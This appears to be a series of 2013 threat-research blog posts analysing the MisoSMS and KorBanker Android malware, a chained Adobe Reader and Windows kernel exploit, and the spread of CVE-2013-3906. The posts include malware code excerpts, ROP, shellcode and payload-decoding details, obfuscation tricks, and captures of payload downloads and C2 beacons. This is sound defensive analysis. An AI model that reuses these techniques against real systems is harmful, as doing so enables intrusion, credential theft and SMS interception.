      “This service is vaccine killer \nCopyright (c) 2013”


      Once the user grants administrator privileges to the app, the app shows the message in Figure 3, which translates to “The file is damaged and can’t use. Please check it on the website”” and an OK button. Then is asks the user to confirm deletion, ostensibly offering the option to Confirm or Cancel. If the user taps Confirm, the app sleeps for 800 milliseconds then displays a message that says “Remove Complete.” If the users taps Cancel, the app still displays the “Remove Complete” message.

      In either case, the following API call is made to hide the app from the user.



      MainActivity.this.getComponentName(), 2, 1);

      This application exfiltrates the SMS messages in a unique way. Some SMS-stealing malware sends the contents of users SMS messages by forwarding the messages over SMS to phone numbers under the attacker’s control. Others send the stolen SMS messages to a CnC server over TCP connections. This malicious app, by contrast, sends the stolen SMS messages to the attacker's email address over an SMTP connection. Most of the MisoSMS-based apps we discovered had no or very few vendor detections on VirusTotal.

      The app initially sends an email with the phone number of the target’s device in the message body. This is shown in the screenshot capture below.



      The malicious app creates a database called “soft_data” at install time. It also creates a database table by executing the SQL query below.

      paramSQLiteDatabase.execSQL("CREATE TABLE IF NOT EXISTS ulccd(id varchar(50),sender varchar(50),date varchar(20),content varchar(500))");

      The application registers a service for the SMS_RECEIVED intent. Once it receives the intent, the app invokes a call to the com.mlc.googlevx.SinRecv.onGetMsg() method. The moment a MisoSMS-infected device receives an SMS, the method extracts the contents of that SMS and creates the key-value pairs as follows:

      ("sender", this.val$str1);              // Phone number of the sender of the SMS

      ("content", this.val$str2);             // Content of the SMS message

      ("date", this.val$str3);                // Date of the SMS

      ("id", "1");                            // Hardcoded identifier

      ("key",;                // Device ID

      ("op", "Add");                          // Operation to be performed “Add” indicates SMS to be added

      ("phone_number", xdataStruct.selfnum);  // Phone number of the infected user

      The above data is recorded and an email message is sent out with the subject line set to the phone number of the infected device. The body of the email message contains the phone number of the device that sent a message to the infected device and its contents. Figure 6 below shows a packet capture of this data as it is sent.


      If the sending of the email fails, it logs the SMS messages in the soft_data database.

      The application also starts three services in the background once the app is installed and started: RollService, MisoService, and BaseService.


      This service initiates a sleep call for the first five minutes of execution. Once the sleep call is complete, RollService polls the soft_data database and tries to send any SMS data that failed to send earlier. Once it sends the information successfully, RollService deletes that data from the soft_data database.


      Once started, MisoService spawns a thread in the background. This thread is responsible for replaying information to the CnC channel. Messages are replayed using data structures that are converted into byte streams. The components of those structures are shown below:

      Replay Structure:


      public final int Request_BookInfo_len = 70;


      public final int Request_Head_Len = 95;

      public final int Request_RecPhoneInfo_Len = 8;

      public Vector<RequestStruct_BookInfo> book_list = new Vector(); contains

                    public String book_name = "";

      public String book_num = "";

      public RequestStruct_Head data_head = new RequestStruct_Head(); contains

                    public String android_id = "";

                    public int book_count = 0;

      public short client_version = 1;

      public byte is_back_door = 0;

      public String os_version = "";

      public short phone_book_state = 0;

      public String phone_model = "";

      public String phone_num = "";

      public short sms_rec_phone_count = 0;

      public int sms_task_id = 0;

      public Vector<RequestStruct_RecPhoneInfo> rec_phone_list = new Vector(); contains

                    public int reccode = 0;  public int recphoneid = 0;

      Request Structure:

      public final int Replay_Head_Len = 583;

      public final int Replay_NewAddr_Len = 261;

      public final int Replay_RecPhone_len = 24;

      public ReplayStruct_Head data_head = new ReplayStruct_Head(); contains

                  public byte is_send_book = 0;

      public byte is_uninstall_backdoor = 0;

      public byte is_upbook = 0;

      public byte is_update = 0;

      public String last_client_url = "";

      public short last_client_url_len = 0;

      public short last_client_version = 1;

      public short new_addr_count = 0;

      public short reconn_deply = 300;

      public String sms_task_content = "";

      public int sms_task_id = 0;

      public short sms_task_rec_phone_count = 0;

      public Vector<ReplayStruct_NewAddrInfo> new_addr_list = new Vector(); contains

                  public short new_addr_len = 0;

      public int new_addr_port = 8080;

      public String new_addr_url = "";

      public Vector<ReplayStruct_RecPhoneInfo> rec_phone_list = new Vector(); contains


                  public int rec_phone_id = 0;

      public String rec_phone_num = "";

      Once MisoService is initiated, it checks whether the phone is connected to the Internet and the cellular network. If so, it sends a byte array formed by the request data structure shown above. It then makes a copy of data from the request structure into the replay structure and sends the byte array of the request structure via SMS.

      The phone number for this SMS is not specified in the code, so these messages are not sent for the time being. But all of this information is logged into the soft_data database, and an update to the app will send the SMS and the above-mentioned data. MisoService also uses an embedded source object called to perform socket connections to the SMTP server using Java Native Interfaces. This shared object is unique to this malware family, which is  why we named this malware Android.Spyware.MisoSMS.

      Here is an excerpt of the code for the MisoService:



      static {








      static byte[] access$1(byte[] arg1) {

              return MisoService.jndkAction(arg1);






      private static native byte[] jndkAction(byte[] arg0) {




      public void onCreate() {




      new Thread() {

      public void run() {



                              while(true) {

                                          if((BaseSystem.isNetworkAvailable(MisoService.this.context)) &&


                                          (BaseSystem.isPhoneAvailable(MisoService.this.context))) {


                                                      if(BaseSystem.android_id.equals("")) {




      MisoData.request_data.data_head.android_id = BaseSystem.android_id;

                                         MisoData.request_data.data_head.phone_model = BaseSystem.phone_model;

                                          MisoData.request_data.data_head.os_version = BaseSystem.os_version;

                                          MisoData.request_data.data_head.phone_num = BaseSystem.phone_num;

                                          byte[] v0 = MisoService.jndkAction(NetDataCover.RequestToBytes(MisoData.request_data ));


                                          if(v0 != null) {


                                                      MisoData.replay_data = NetDataCover.BytesToReplay(v0);



                              if(MisoData.replay_data.data_head.sms_task_rec_phone_count != 0) {



                              SystemClock.sleep(((long)(MisoData.replay_data.data_head.reconn_deply * 100 )));








      The value for MisoData.replay_data.data_head.reconn_deply is set to 300, putting the service to sleep for 30 seconds between retries.


      The base service ensures that RollService and MisoService do not stop running. The BaseBootReceiver class also uses BaseService to start the other two service if the device reboots.

      BaseService.this.startService(new Intent(BaseService.this.context, RollService.class));

      BaseService.this.startService(new Intent(BaseService.this.context, MisoService.class));


      MisoSMS is one of the largest mobile botnets that leverages modern botnet techniques and infrastructure. This discovery, coupled with the other discoveries from FireEye, highlights the importance of mobile security and the quickly changing threat landscape.

      CVE-2013-3346/5065 Technical Analysis

      In our last post, we warned of a new Windows local privilege escalation vulnerability being used in the wild. We noted that the Windows bug (CVE-2013-5065) was exploited in conjunction with a patched Adobe Reader bug (CVE-2013-3346) to evade the Reader sandbox. CVE-2013-3346 was exploited to execute the attacker’s code in the sandbox-restricted Reader process, where CVE-2013-5065 was exploited to execute more malicious code in the Windows kernel.

      In this post, we aim to describe the in-the-wild malware sample, from initial setup to unrestricted code execution.

      CVE-2013-3346: Adobe Reader ToolButton Use-After-Free

      CVE-2013-3346 was privately reported to ZDI by Soroush Dalili, apparently in late 2012. We could fine no public description of the vulnerability. Our conclusion that the sample from the wild is exploiting CVE-2013-3346 is based upon the following premises:

      1. The sample contains JavaScript that triggers a use-after-free condition with ToolButton objects.
      2. CVE-2013-3346 is a use-after-free condition with ToolButton objects.
      3. The Adobe Reader patch that addresses CVE-2013-3346 also stops the in-the-wild exploit.
      4. CVE-2013-3346 Exploitation: Technical Analysis

        The bug is a classic use-after-free vulnerability: Within Javascript, nesting ToolButton objects and freeing the parent from within child callbacks results in a stale reference to the freed parent. More specifically, the invalid free can be triggered as follows:

        1. Make a parent ToolButton with a callback CB
        2. Within the callback CB, make a child ToolButton with a callback CB2
        3. Within the callback CB2, free the parent ToolButton
        4. The sample from the wild exploits the bug entirely from JavaScript. The code sets up the heap, builds ROP chains, builds shellcode, and triggers the actual bug. The only component of the attack that wasn’t implemented in JavaScript is the last-stage payload (executable file).

          The exploit script first chooses some parameters based upon the major version of Reader (version 9, 10, or 11):

          • ROP Chain
          • Size of corrupted object
          • Address of pivot in heap spray
          • The address of a NOP gadget

          Next, it sprays the heap with the return-oriented programming (ROP) attack chain and shellcode, triggers the freeing, and fills the hole left by the freed object with a pivot to the ROP attack chain.

          The freed hole is filled with the following:

          000: 41414141 ;; Padding

          01c: 0c0c08e4 ;; Address of pivot in heap spray

          020: 41414141 ;; More padding

          37c: 41414141 ;; The size of the object is a version-specific parameter

          The pivot can be observed with the following windbg breakpoint:

          bp 604d7699 "!heap -p -a @esi; dd @esi-1c; .if (@eax != 0x0c0c08e4) { gc; }"

          The following code shows the object before corruption:

              address 02668024 found in

          _HEAP @ 1270000

          HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

          02668000 0071 0000 [01] 02668008 0037c - (busy)

          02668008 01278420 00000000 00000002 02a24008

          02668018 02763548 00000360 02668008 60a917d4

          02668028 00000000 60a917a8 00000000 00000000

          02668038 60a91778 00000000 60a91768 0133ded4

          02668048 00000001 01d9eb60 00000001 02668024

          02668058 00000000 00000000 00000000 00000000

          02668068 00000000 00000000 00000000 00000000

          02668078 02f32e5c 00000002 00000004 00000000

          After corruption, the freed hole has been filled by padding and the address into the heap at object plus 0x1c as follows:

              address 02668024 found in

          _HEAP @ 1270000

          HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

          02668000 0071 0000 [01] 02668008 0037c - (busy)

          02668008 41414141 41414141 41414141 41414141

          02668018 41414141 41414141 41414141 0c0c08e4

          02668028 41414141 41414141 41414141 41414141

          02668038 41414141 41414141 41414141 41414141

          02668048 41414141 41414141 41414141 41414141

          02668058 41414141 41414141 41414141 41414141

          02668068 41414141 41414141 41414141 41414141

          02668078 41414141 41414141 41414141 41414141

          The heap-spray address points to the address of the pivot minus 0x328. This is because of the following instruction, which calls the address plus 0x328 as follows:

          604d768d 8b06            mov     eax,dword ptr [esi]

          604d7699 ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=90e0824a

          1:009> dd @eax+0x328

          0c0c0c0c 4a82e090 4a82007d 4a850038 4a8246d5

          0c0c0c1c ffffffff 00000000 00000040 00000000

          0c0c0c2c 00001000 00000000 4a805016 4a84420c

          0c0c0c3c 4a814241 4a82007d 4a826015 4a850030

          0c0c0c4c 4a84b49d 4a826015 4a8246d5 4a814197

          0c0c0c5c 00000026 00000000 00000000 00000000

          0c0c0c6c 4a814013 4a84e036 4a82a8df 41414141

          0c0c0c7c 00000400 41414141 4a818b31 4a814197

          And the pivot is set at 4a82e090, which sets the stack pointer to the attacker’s ROP chain as follows:

          1:009> u 4a82e090


          4a82e090 50 push eax

          4a82e091 5c pop esp

          4a82e092 c3 ret

          The exploit plays out in stages.

          Stage 1: ROP

          The exploit uses ROP to circumvent data execution prevention (DEP) features. All of the gadgets, including the pivot, are from icucnv40.dll. The ROP chain is one of three chains chosen by Reader major version (9, 10, or 11). The attacker uses a heapspray to place the pivot, ROP chain, and shellcode at predictable addresses. The ROP chain:

          1. Maps RWX memory with kernel32!CreateFileMappingA and kernel32!MapViewOfFile
          2. Copies Stage 2 shellcode to RWX memory with MSVCR90!memcpy
          3. Executes the shellcode
          4. Stage 2: Shellcode

            The shellcode exploits CVE-2013-5065 to set the privilege level of the Reader process to that of system, and then decodes an executable from the PDF, writes it to the temporary directory, and executes it.

            Shellcode Technical Analysis

            First, the shellcode copies a Stage 2.1 shellcode stub to RWX memory mapped to the null page.

            0af: ntdll!NtAllocateVirtualMemory RWX memory @ null page

            180: Copy privileged shellcode to RWX memory

            183: Add current process ID to privileged shellcode

            Next, the shellcode exploits CVE-2013-5065 to execute the Stage 2.1 shellcode in the context of the Windows kernel as follows:

            19b: Trigger CVE-2013-5065 to execute stage 2.1 from kernel

            - :



            303: Stage 2.1 shellcode begins

            3d6: PsLookupProcessByProcessId to get EPROCESS structure for Reader process

            3e5: PsLookupProcessByProcessId to get EPROCESS structure for system

            3f9: Copy EPROCESS.Token from system to Reader

            3fd: Zero the EPROCESS.Job field

            This process is documented well in a paper (PDF download) from security researcher Ronnie Johndas.

            After returning from the kernel, the shellcode iterates over potential handle values, looking for the encoded PE file embedded within the PDF as follows:.

            ...: Find open handle to the PDF file by iterating over potential

            ...: handle values (0, 4, 8, ...) and testing that:

            212: The handle is open and to a file with kernel32!SetFilePointer

            21e: The file size is less than 0x1000 bytes with kernel32!GetFileSize

            239: It begins with "%PDF" with kernel32!ReadFile

            257: Allocate memory with kernel32!VirtualAlloc and

            262: Read the PDF into memory with kernel32!ReadFile

            26f: Find the encoded PE file by searching for 0xa0909f2 with kernel32!ReadFile

            The shellcode decodes the PE file using the following algorithm and writes it to disk:

            def to_u8(i):

            if i >= 0: return i

            return 0xff + i + 1

            buf = buf[4:] # Skip the first four bytes

            for i in xrange(len(buf)):

            c = ord(buf[i])

            c -= ((i)**2)&0xff # Subtract index^2 from character

            c = to_u8(c) # convert python number to uint8

            c ^= 0xf3 # xor character with 0xf3



            28f: Decode the PE file (algorithm supplied below)

            2ad: Get the path to the temporary directory with kernel32!GetTempPathA

            2bb: Request a temporary file with kernel32!GetTempFileNameA

            2dd: Open the temporary file with kernel32!CreateFileA

            2f0: Write decoded PE to temporary file with kernel32!WriteFile

            2f4: Close the file

            The shellcode executes the decoded PE file as follows:

            2fe:	kernel32!WinExec "cmd /c "


            JavaScript Obfuscation & Evasions

            JavaScript analysis engines often emulate suspect code to de-obfuscate it for further analysis. If the JavaScript emulation environment doesn’t match the real environment (that is, JavaScript in Adobe Reader during exploitation), then the attacker can detect a discrepancy and abort the exploitation to prevent detection. The exploit implementation begins with the following instruction, what appears to be emulation-evasion code that causes the script to crash within emulation systems such as jsunpack:

            if( >= 1)


            The attacker used a public tool ( with "global variable name" = "Q") to obfuscate the exploit. It works by building a dictionary that maps wonky names to hex digits as follows:

            // Q={___:"0", $$$$:"f", __$:"1", $_$_:"a", _$_:"2", $_$$:"b", $$_$:"d", _$$:"3", $$$_:"e", $__:"4", $_$:"5", $$__:"c", $$_:"6", $$$:"7", $___:"8", $__$:"9" };



            Then, using the dictionary and other built-in strings, it builds more JavaScript code as follows:

            // Q.$_ = "constructor"

            Q.$_= /*c*/(Q.$_=Q+"")[Q.$_$]+ // Q.$_ = the string "[object Object]"

            /*o*/(Q._$=Q.$_[Q.__$])+ // by indexing into Q.$_

            /*n*/(Q.$$=(Q.$+"")[Q.__$])+ // by indexing into the string "undefined"

            /*s*/((!Q)+"")[Q._$$]+ // and so on...








            It goes on to acquire a reference to the Function object by accessing "".constructor.constructor and calling the exploit code by Function("the deobfuscated script")(). The end result is an entirely indigestible script. Yuck!

            The "".constructor.constructor trick is clever. While shortening the obfuscated script, it gets around Function hooks implemented within the JavaScript environment (that is, by “Function = _Function_hook;”).

            Sandbox Bypass

            Although the Adobe Reader sandbox for Windows XP has fewer restrictions compared to sandboxes in Windows 7, 8, and 8.1, it still has restricted tokens, limited Job settings, broker processes, and protection policies.

            The difference is that the Windows integrity mechanism is not available in Windows XP. So the sandboxed process does not run in low-integrity mode.

            But it still must bypass the sandbox protection on Windows XP to run privileged malicious code. As the following screenshot shows, the sandboxed process is not allowed to create a file in the currently logged in user’s desktop:


            Figure 1: Sandboxing protection in Windows XP

            In this case, the attacker exploits the NDProxy.sys vulnerability to obtain a higher privilege and bypass the Adobe sandbox protections.


            For this kernel exploit (CVE-2013-5065), the attacker uses Windows’ NtAllocateVirtualMemory() routine to map shellcode to the null page. So enabling null-page protection in Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) prevents exploitation. You can also follow the workaround posted on Microsoft’s TechNet blog or upgrade to a newer version of Windows (Vista, 7, 8, or 8.1).

            Finally, updating Adobe Reader stops the in-the-wild malware sample by patching the CVE-2013-3346 vulnerability.


            The CVE-2013-3346/5065 vulnerability works as follows:

            1. The ROP chain and shellcode are sprayed to memory from JavaScript
            2. CVE-2013-3346 UAF is triggered from JavaScript
            3. The freed ToolButton object is overwritten with the address of the pivot in JavaScript
            4. The pivot is executed, and the stack pointer is set to the ROP sled
            5. The ROP allocates shellcode in RWX memory and jumps to it
            6. The shellcode stub (Stage 2.1) is copied to the null page (RWX)
            7. The shellcode triggers CVE_2013-5065 to call Stage 2.1 from the kernel
            8. Stage 2.1 elevates privilege of the Adobe Reader process
            9. Back to usermode, the PE payload is decoded from the PDF stream to a temp directory
            10. The PE payload executes
            11. MS Windows Local Privilege Escalation Zero-Day in The Wild

              FireEye Labs has identified a new Windows local privilege escalation vulnerability in the wild. The vulnerability cannot be used for remote code execution but could allow a standard user account to execute code in the kernel. Currently, the exploit appears to only work in Windows XP.

              This local privilege escalation vulnerability is used in-the-wild in conjunction with an Adobe Reader exploit that appears to target a patched vulnerability. The exploit targets Adobe Reader 9.5.4, 10.1.6, 11.0.02 and prior on Windows XP SP3. Those running the latest versions of Adobe Reader should not be affected by this exploit.

              Post exploitation, the shellcode decodes a PE payload from the PDF, drops it in the temporary directory, and executes it.


              The following actions will protect users from the in-the-wild PDF exploit:

              1) Upgrade to the latest Adobe Reader

              2) Upgrade to Microsoft Windows 7 or higher

              This post was intended to serve as a warning to the generic public. We are collaborating with the Microsoft Security team on research activities. Microsoft assigned CVE-2013-5065 to this issue.

              We will continue to update this blog as new information about this threat is found.

              [Update]: Microsoft released security advisory 2914486 on this issue.

              Dissecting Android KorBanker

              FireEye recently identified a malicious mobile application that installs a fake banking application capable of stealing user credentials. The top-level app acts as a bogus Google Play application, falsely assuring the user that it is benign.

              FireEye Mobile Threat Prevention platform detects this application as Android.KorBanker. This blog post details both the top-level installer as well as the fake banking application embedded inside the top-level app.

              The app targets the following banks, all of which are based in Korea.

              • Hana Bank
              • IBK One
              • KB Kookmin Bank
              • NH Bank
              • Woori Bank
              • Shinhan Bank

              Once installed, the top-level application presents itself as a Google Play application. It also asks the user for permission to activate itself as a device administrator, which gives KorBanker ultimate control over the device and helps the app stay hidden from the app menu.


              The user sees the messages in Figure 1 and Figure 2.


              The message in Figure 2 translates to: “Notification installation file is corrupt error has occurred. Sure you want to delete the corrupted files?”

              When the user clicks taps the “Yes’ button, KorBanker hides itself from the user by calling the following Android API:

              getPackageManager().setComponentEnabledSetting(new ComponentName("", ""), 2, 1)

              The arguments “2” and “1” which are being passed to the above function are explained below.

              The 2 argument represents is the value for the COMPONENT_ENABLED_STATE_DISABLED flag, which causes the component to be disabled from the menu of apps.

              The 1 argument is the value for the DONT_KILL_APP flag, which indicates that the app should not be killed and continue running in the background.

              After installation, the app checks whether any of the six targeted banking applications have been installed. If it finds any, it deletes the legitimate banking application and silently replaces it with a fake version. The fake versions of the banking applications are embedded in the “assets” directory of the top-level APK.

              Initial registration protocol

              The top-level APK and the embedded fake banking app register themselves with their respective command-and-control (CnC) servers. The following section explains the registration process.

              Top-level app

              The top-level app registers itself by sending the device ID of the phone to the remote CnC server packed in a JavaScript Object Notation (JSON) object. The data packet excerpt is shown in Figure 3. This is the first packet that is sent out once the app is installed on the device.


              Figure 3: KorBanker data packet during registration

              The packet capture shown in Figure 3 shows the structure of the registration message. The bytes highlighted in red indicate the CnC message code of 0x07(decimal 7) which translates to the string addUserReq.

              Outlined in yellow is length indicator — 0x71(113 bytes)— followed by the JSON object containing the Device ID and the phone number of the device. The values for callSt and smsSt are statically set to 21 and 11, respectively.

              The response bytes shown in black containing 0x04 and 0x01 map to the command addUserAck. They are sent by the server to acknowledge the receipt of the previously sent addUserReq. Code inside the application invokes various functions as it receives commands. These functions may exist for future updates of the application.


              Figure 4: KorBanker code for sending incoming messages to CnC server

              Once the installation of the app has been registered, the app waits for incoming messages on the phone, possibly looking for access codes that arrive as a part of two factor authentication methods for one of the six targeted banks. All incoming messages to the phone are intercepted and sent to the CnC server on port 8888 as shown in Figure 4.

              The bytes highlighted in red after the response show the message code of 0x08 (Decimal 8), which translates to the command addSmsReq. This is followed by the size of the message. The Device ID is sent at the end of the data packet to identify the device from which this message was seen with the timestamp. It also suppresses the SMS notifications from the user and deletes the message from the device.

              The remote CnC infrastructure is based on numeric codes. These codes are stored in a data structure in the app. All incoming messages and responses from the CnC server arrive in numeric codes and get translated into corresponding strings, which in turn drive the app to perform different tasks.

              Table 1 shows the CnC commands supported by the top-level app. All the commands ending with “Req” correspond to the infected client requests made to the CnC server. All the commands ending with “Ack” indicate acknowledgements of the received commands.


              Fake banking app 

              The fake banking app once installed registers with a CnC server on a different IP address by sending the HTTP request shown below.


              Figure 5: Data capture showing the installation of the fake banking app 

              Once the phone is registered, the user is presented with the following fake login page of the banking app, which prompts the user for banking account credentials. All these credentials are stored internally in a JSON object. korbanker_6

              The user is then prompted for a SCARD code and 35-digit combination, which is recorded into the JSON and sent out to ‘ as follows:

              { "renzheng" : "1234",

              "fenli" : "1234",

              "datetime" : "2013-08-12 12:32:32",


              "bankinid": '1234',

              "jumin": '1234',

              "banknum" : '1234',

              "banknumpw" : '1234',

              "paypw" : 'test',

              "scard" : "1234567890",

              "sn1" : "1234",

              "sn2" : "1234",

              "sn3" : "1234",



              "sn34" : "1234",

              "sn35" : "1234"


              The response received is as follows:

              Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

              Connection: close

              Content-Type: text/html

              Date: Fri, 22 Nov 2013 02:05:00 GMT

              Expires: Thu, 19 Nov 1981 08:52:00 GMT



              This malware sample takes extra measures to obtain banking credentials. With the increased usage of mobile devices and with the liberal permission allotment to apps that appear benign we are now at an increased risk of monetary losses on the mobile front. Mobile banking is not completely void of its adversaries. KorBanker is a vivid reminder of just how dangerous apps from untrusted sources can be.

              Monitoring Vulnaggressive Apps on Google Play

              Vulnaggressive Characteristics in Mobile Apps and Libraries

              FireEye mobile security researchers have discovered a rapidly-growing class of mobile threats represented by popular ad libraries affecting apps with billions of downloads. These ad libraries are aggressive at collecting sensitive data and able to perform dangerous operations such as downloading and running new code on demand. They are also plagued with various classes of vulnerabilities that enable attackers to turn their aggressive behaviors against users. We coined the term “vulnaggressive” to describe this class of vulnerable and aggressive characteristics. We have published some of our findings in our two recent blogs about these threats: “Ad Vulna: A Vulnaggressive (Vulnerable & Aggressive) Adware Threatening Millions” and “Update: Ad Vulna Continues”.

              As we reported in our earlier blog “Update: Ad Vulna Continues”, we have observed that some vulnaggressive apps have been removed from Google Play, and some app developers have upgraded their apps to a more secure version either by removing the vulnaggressive libraries entirely or by upgrading the relevant libraries to a more secure version which address the security issues. However, many app developers are still not aware of these security issues and have not taken such needed steps. We need to make a community effort to help app developers and library vendors to be more aware of these security issues and address them in a timely fashion.

              To aid this community effort, we present the data to illustrate the changes over time as vulnaggressive apps are upgraded to a more secure version or removed from Google Play after our notification. We summarize our observations below, although we do not have specific information about the reasons that caused these changes we are reporting.

              We currently only show the chart for one such vulnaggressive library, AppLovin (previously referred to by us as Ad Vulna for anonymity). We will add the charts for other vulnaggressive libraries as we complete our notification/disclosure process and the corresponding libraries make available new versions that fix the issues.

              The Chart of Apps Affected by AppLovin

              AppLovin (Vulna)’s vulnerable versions include 3.x, 4.x and 5.0.x. AppLovin 5.1 fixed most of the reported security issues. We urge app developers to upgrade AppLovin to the latest version and ask their users to update their apps as soon as the newer versions are available.

              The figure below illustrates the change over time of the status of vulnerable apps affected by AppLovin on Google Play. In particular, we collect and depict the statistics of apps that we have observed on Google Play with at least 100k downloads and with at least one version containing the vulnerable versions of AppLovin starting September 20. Over time, a vulnerable app may be removed by Google Play (which we call “removed apps”, represented in gray), have a new version available on Google Play that addresses the security issues either by removing AppLovin entirely or by upgrading the embedded AppLovin to 5.1 or above (which we call “upgradable apps”, represented in green), or remain vulnerable (which we call “vulnerable apps”, represented in red), as shown in the legend in the chart.

              Please note that we started collecting the data of app removal from Google Play on October 20, 2013. Thus, any relevant app removal between September 20 and October 20 will be counted and shown on October 20. Also, for each app included in the chart, Google Play shows a range of its number of downloads, e.g., between 1M and 5M. We use the lower end of the range in our download count so the statistics we show are conservative estimates.


              We are glad to see that over time, many vulnerable apps have been either removed from Google Play or have more secure versions available on Google Play. However, apps with hundreds of millions of downloads in total still remain vulnerable. In addition, note that while removing vulnaggressive apps from Google Play prevents more people from being affected, the millions of devices that already downloaded them remain vulnerable since they are not automatically removed from the devices. Furthermore, because many users do not update their downloaded apps often and older versions of Android do not auto-update apps, even after the new, more secure version of a vulnerable app is available on Google Play, millions of users of these apps will remain vulnerable until they update to the new versions of these apps on their devices. FireEye recently announced FireEye Mobile Threat Prevention. It is uniquely capable of protecting its customers from such threats.

              Exploit Proliferation: Additional Threat Groups Acquire CVE-2013-3906

              Last week, we blogged about a zero-day vulnerability (CVE-2013-3906) that was being used by at least two different threat groups. Although it was the same exploit, the two groups deployed it differently and dropped very different payloads. One group, known as Hangover, engages in targeted attacks, usually, against targets in Pakistan. The second group, known as Arx, used the exploit to spread the Citadel Trojan, and we have found that they are also using the Napolar (aka Solar) malware. [1]

              Looking at the time of the first known use of the exploit, we noted that the Arx group appeared to have had access to this exploit prior to the Hangover group. Subsequent research by Kaspersky has found that this exploit was used in July 2013 to spread a cross-platform malware known as Janicab. Interestingly, the Janicab samples have exactly the same CreateDate and ModifyDate as the Arx samples. However, the ZipModifyDate is different. They also contain the same embedded TIFF file (aa6d23cd23b98be964c992a1b048df6f).

              While the Janicab activity dates the use of CVE-2013-3906 to July, other groups, including those associated with advanced persistent threat (APT) activity, have now begun to use this exploit as well. We have found that CVE-2013-3906 is now being used to drop Taidoor and PlugX (which we call Backdoor.APT.Kaba). Interestingly, the version of the exploit used contains elements that are consistent with the Hangover implementation. Both the Taidoor and PlugX samples have EXIF data that is consistent with a Hangover sample. In addition, the samples share the same embedded TIFF file (7dd89c99ed7cec0ebc4afa8cd010f1f1).


              The Taidoor malware has been used in numerous targeted attacks that typically affect Taiwan-related entities. We recently blogged about modifications that have been made to the Taidoor malware. This new version of Taidoor is being dropped by malicious documents using the CVE-2013-3906 exploit. The malware is being distributed via an email purporting to be from a Taiwanese government email address.


              The Taidoor sample we analyzed (6003b22d22af86026afe62c39316b9e0) has the same CreateDate and ModifyDate as the Hangover samples we analyzed. It also shares an exact ZipModifyDate with one of the Hangover samples. (There are variations in the ZipModifyDate among the Hangover samples).

              • CreateDate                : 2013:10:03 22:46:00Z
              • ModifyDate                : 2013:10:03 23:17:00Z
              • ZipModifyDate           : 2013:10:17 14:21:23

              It also contains other EXIF data that matches a Hangover sample (and the PlugX sample discussed below):

              • App Version                     : 12.0000
              • Creator                            : Win7
              • Last Modified By              : Win7
              • Revision Number             : 1

              The sample also contains the same embedded TIFF file (7dd89c99ed7cec0ebc4afa8cd010f1f1). This indicates that they were probably built with the same weaponizer tool.

              After the exploit is triggered a connection is made to a retrieve an EXE from a webserver:

              GET /o.exe HTTP/1.1

              Accept: */*

              Accept-Encoding: gzip, deflate

              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


              Connection: Keep-Alive

              This EXE is Taidoor and it is configured to beacon to two command and control (CnC) servers: and

              GET /user.jsp?ij=oumded191138F9744C HTTP/1.1

              User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)


              Connection: Keep-Alive

              Cache-Control: no-cache

              GET /parse.jsp?js=iwmnxw191138F9744C HTTP/1.1

              User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)


              Connection: Keep-Alive

              Cache-Control: no-cache

              We have located an additional sample (5c8d7d4dd6cc8e3b0bd6587221c52102) that also retrieves Taidoor:

              GET /suv/update.exe HTTP/1.1

              Accept: */*

              Accept-Encoding: gzip, deflate

              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


              Connection: Keep-Alive

              This sample beacons to the command and control server: (

              GET /parse.jsp?ne=vyhavf191138F9744C HTTP/1.1

              User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)


              Connection: Keep-Alive

              Cache-Control: no-cache

              PlugX (Kaba)

              The PlugX malware (aka Backdoor.APT.Kaba) has been used in a variety of targeted attacks. We located a malicious document (80c8ce1fd7622391cac892be4dbec56b) that exploits CVE-2013-3906. This sample contains the same CreateDate and ModifyDate and shares a common ZipModifyDate with both the Taidoor samples and one of the Hangover samples.

              • CreateDate                : 2013:10:03 22:46:00Z
              • ModifyDate                : 2013:10:03 23:17:00Z
              • ZipModifyDate           : 2013:10:17 14:21:23

              After exploitation, there is a connection to ( that downloads a PlugX executable:

              GET /css/css.exe HTTP/1.1

              Accept: */*

              Accept-Encoding: gzip, deflate

              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


              The malware (423eaeff2a4576365343e6dc35d22042) begins to beacon to and, which both resolve to The callback of the PlugX samples is:

              POST /8A8DAEE657205D651405D7CD HTTP/1.1

              Accept: */*

              FZLK1: 0

              FZLK2: 0

              FZLK3: 61456

              FZLK4: 1

              User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)


              Content-Length: 0

              Connection: Keep-Alive

              Cache-Control: no-cache


              An increasing number of threat groups now have access to CVE-2013-3906. These threat groups include those that use the Taidoor and PlugX malware families to conduct targeted attacks. We expect this exploit to continue to proliferate among threat groups engaged in APT activity.


              1.  The MD5 hashes for Arx group samples that dropped Napolar are:  5e4b83fd11050075a2d4913e6d81e553  and f6c788916cf6fafa202494658e0fe4ae. The CnC server was: /

              Supply Chain Analysis: From Quartermaster to Sunshop

              Today, we released a new report from FireEye Labs entitled Supply Chain Analysis: From Quartermaster to Sunshop .

